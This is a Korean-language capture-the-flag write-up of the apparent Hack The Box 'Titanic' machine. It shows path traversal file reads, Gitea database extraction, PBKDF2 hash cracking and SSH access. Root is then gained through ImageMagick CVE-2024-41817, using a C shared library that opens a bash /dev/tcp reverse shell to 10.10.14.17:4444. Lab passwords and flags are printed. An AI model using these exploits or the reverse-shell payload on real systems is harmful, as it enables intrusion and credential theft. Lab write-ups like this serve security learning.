Proof of Concept
10.10.14.17
Nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpInitial Access
웹 서비스에 접속 시도하면 http://titanic.htb로 리다이렉트 되는 것을 확인
┌──(kali㉿kali)-[~/Titanic]
└─$ curl http://10.129.3.160
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://titanic.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.129.3.160 Port 80</address>
</body></html>/etc/hosts 파일 설정
┌──(kali㉿kali)-[~/Titanic]
└─$ cat /etc/hosts
<SNIP>
10.129.3.160 titanic.htbhttp://titanic.htb 접속 후 여행 예약 시 티켓 정보가 담긴 JSON 파일이 다운로드되는 것을 확인
GET /download?ticket=406c208d-b0e5-412d-90e8-835bacd7684d.json HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 afari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
ticket 파라미터 조작을 통해 Path Traversal 취약점 확인
- ticket 파라미터 값을 /etc/passwd로 조작
GET /download?ticket=/etc/passwd HTTP/1.1
Host: titanic.htb
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 afari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://titanic.htb/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
- /etc/passwd 파일 다운로드 되는 것을 확인
HTTP/1.1 200 OK
Date: Mon, 26 Jan 2026 16:47:06 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-393413677"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
vhost 탐색
- dev.titanic.htb 발견
┌──(kali㉿kali)-[~/Titanic]
└─$ gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r -t 100
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.titanic.htb Status: 200 [Size: 13982]
#www.titanic.htb Status: 400 [Size: 303]
#mail.titanic.htb Status: 400 [Size: 303]
Progress: 19966 / 19966 (100.00%)
===============================================================
Finished
===============================================================/etc/hosts에 dev.titanic.htb 추가
┌──(kali㉿kali)-[~/Titanic]
└─$ cat /etc/hosts
<SNIP>
10.129.3.160 titanic.htb dev.titanic.htbhttp://dev.titanic.htb/에 접속한 결과 Gitea 서비스가 구동중인 것을 확인
http://dev.titanic.htb/developer/docker-config/src/branch/main/mysql/docker-compose.yml에서 MySQL 계정 발견
MySQLP@$$w0rd!
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: alwayshttp://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml에서 gitea data 디렉토리 경로 확인
- /home/developer/gitea/data
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
Path Traversal 취약점을 이용하여 /home/developer/gitea/data/gitea/conf/app.ini 파일 확인
- sqlite3를 사용하며, /data/gitea/gitea.db에 DB 파일 존재
┌──(kali㉿kali)-[~/Titanic]
└─$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
<SNIP>
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disableDB 파일 다운로드
┌──(kali㉿kali)-[~/Titanic]
└─$ curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2036k 100 2036k 0 0 251332 0 0:00:08 0:00:08 --:--:-- 486322sqlite3로 gitea.db 파일 접속
┌──(kali㉿kali)-[~/Titanic]
└─$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> DB 테이블 목록 조회
sqlite> .tables
<SNIP>
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
notification watch
oauth2_application webauthn_credential
oauth2_authorization_code webhookuser 테이블 조회
- 비밀번호 해시, salt, 이름 획득
sqlite> select passwd,salt,name from user;
cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|administrator
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|developer해시 덤프해서 평문 비밀번호 획득
- 25282528
┌──(kali㉿kali)-[~/Titanic]
└─$ wget https://raw.githubusercontent.com/hashcat/hashcat/refs/heads/master/tools/gitea2hashcat.py
--2026-01-27 12:33:44-- https://raw.githubusercontent.com/hashcat/hashcat/refs/heads/master/tools/gitea2hashcat.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2417 (2.4K) [text/plain]
Saving to: ‘gitea2hashcat.py’
gitea2hashcat.py 100%[==========================================================================================================>] 2.36K --.-KB/s in 0s
2026-01-27 12:33:44 (32.7 MB/s) - ‘gitea2hashcat.py’ saved [2417/2417]
┌──(kali㉿kali)-[~/Titanic]
└─$ sqlite3 gitea.db 'select salt,passwd from user;' | python gitea2hashcat.py > hashes.txt
┌──(kali㉿kali)-[~/Titanic]
└─$ hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt --quiet
Hashfile 'hashes.txt' on line 1 ([+] Ru... mode 10900 (PBKDF2-HMAC-SHA256)): Separator unmatched
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528developer:25282528로 SSH 인증 성공
┌──(kali㉿kali)-[~/Titanic]
└─$ [<0;2;41M0;2;41m
┌──(kali㉿kali)-[~/Titanic]
└─$ nxc ssh 10.129.3.160 -u users.txt -p '25282528'
SSH 10.129.3.160 22 10.129.3.160 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.129.3.160 22 10.129.3.160 [-] administrator:25282528
SSH 10.129.3.160 22 10.129.3.160 [+] developer:25282528 Linux - Shell access!SSH 접속
┌──(kali㉿kali)-[~/Titanic]
└─$ ssh developer@10.129.3.160
The authenticity of host '10.129.3.160 (10.129.3.160)' can't be established.
ED25519 key fingerprint is: SHA256:Ku8uHj9CN/ZIoay7zsSmUDopgYkPmN7ugINXU0b2GEQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.3.160' (ED25519) to the list of known hosts.
developer@10.129.3.160's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
<SNIP>
applicable law.
Last login: in** from 10.10.14.17
developer@titanic:~$Read user.txt
developer@titanic:~$ cat user.txt
bf8b064c0ea1cee7697b7be403b919eb
developer@titanic:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b0:3b:de brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.3.160/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 2267sec preferred_lft 2267sec
inet6 dead:beef::250:56ff:feb0:3bde/64 scope global dynamic mngtmpaddr
valid_lft 86394sec preferred_lft 14394sec
inet6 fe80::250:56ff:feb0:3bde/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:2b:fb:69:ee brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-892511bece4a: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:02:22:53:33 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-892511bece4a
valid_lft forever preferred_lft forever
inet6 fe80::42:2ff:fe22:5333/64 scope link
valid_lft forever preferred_lft forever
6: veth691b6a3@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-892511bece4a state UP group default
link/ether 42:f6:b7:a4:63:e1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::40f6:b7ff:fea4:63e1/64 scope link
valid_lft forever preferred_lft foreverPrivilege Escalation
linpeas 실행
- 5분 이내로 /opt/app/static/assets/images/metadata.log 파일이 수정된 것을 발견
<SNIP>
╔══════════╣ Unexpected in /opt (usually empty)
total 20
drwxr-xr-x 5 root root 4096 Feb 7 2025 .
drwxr-xr-x 19 root root 4096 Feb 7 2025 ..
drwxr-xr-x 5 root developer 4096 Feb 7 2025 app
drwx--x--x 4 root root 4096 Feb 7 2025 containerd
drwxr-xr-x 2 root root 4096 Feb 7 2025 scripts
<SNIP>
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/opt/app/static/assets/images/metadata.log
/home/developer/.gnupg/pubring.kbx
/home/developer/.gnupg/trustdb.gpg
/home/developer/lse.sh
/tmp/ssh_client_ip_developer
/var/log/journal/3010787ce58f43a9a8f1c8c49cb903e8/system.journal
/var/log/journal/3010787ce58f43a9a8f1c8c49cb903e8/user-1000.journal
/var/log/auth.log
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log.2
/var/log/laurel/audit.log
/var/log/syslog
<SNIP>metadata.log 파일 확인
- 이미지 파일 메타데이터 로그 파일
developer@titanic:~$ cat /opt/app/static/assets/images/metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u 0:00.002
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000/opt/scripts 디렉토리에서 쉘 파일 발견
developer@titanic:/opt$ tree
.
├── app
│ ├── app.py
│ ├── static
│ │ ├── assets
│ │ │ └── images
│ │ │ ├── entertainment.jpg
│ │ │ ├── exquisite-dining.jpg
│ │ │ ├── favicon.ico
│ │ │ ├── home.jpg
│ │ │ ├── luxury-cabins.jpg
│ │ │ └── metadata.log
│ │ └── styles.css
│ ├── templates
│ │ └── index.html
│ └── tickets
├── containerd [error opening dir]
└── scripts
└── identify_images.shidentify_images.sh 파일 확인
- 해당 쉘 스크립트가 이미지 정보 수집 후 metadata.log 파일 생성
developer@titanic:/opt/scripts$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Feb 7 2025 .
drwxr-xr-x 5 root root 4096 Feb 7 2025 ..
-rwxr-xr-x 1 root root 167 Feb 3 2025 identify_images.sh
developer@titanic:/opt/scripts$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.logImageMagick 버전 확인
developer@titanic:/opt/scripts$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)ImageMagick 7.1.1-35에 arbitrary code execution 취약점 존재 (CVE-2024-41817)
POC 코드 실행
developer@titanic:~$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("bash -c 'sh -i >& /dev/tcp/10.10.14.17/4444 0>&1'");
exit(0);
}
EOF
developer@titanic:~$ cp libxcb.so.1 /opt/app/static/assets/images/1분 정도 기다리면 리버스쉘이 연결됨
┌──(kali㉿kali)-[~/Titanic]
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.129.3.160] 40160
sh: 0: can't access tty; job control turned off
#Read root.txt
root@titanic:~# cat root.txt
cat root.txt
748fdaeb0dd9bc758f1195f36b01c281
root@titanic:~# ifconfig
ifconfig
<SNIP>
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.3.160 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 dead:beef::250:56ff:feb0:d0a5 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb0:d0a5 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b0:d0:a5 txqueuelen 1000 (Ethernet)
RX packets 10119 bytes 850123 (850.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3561 bytes 452947 (452.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
<SNIP>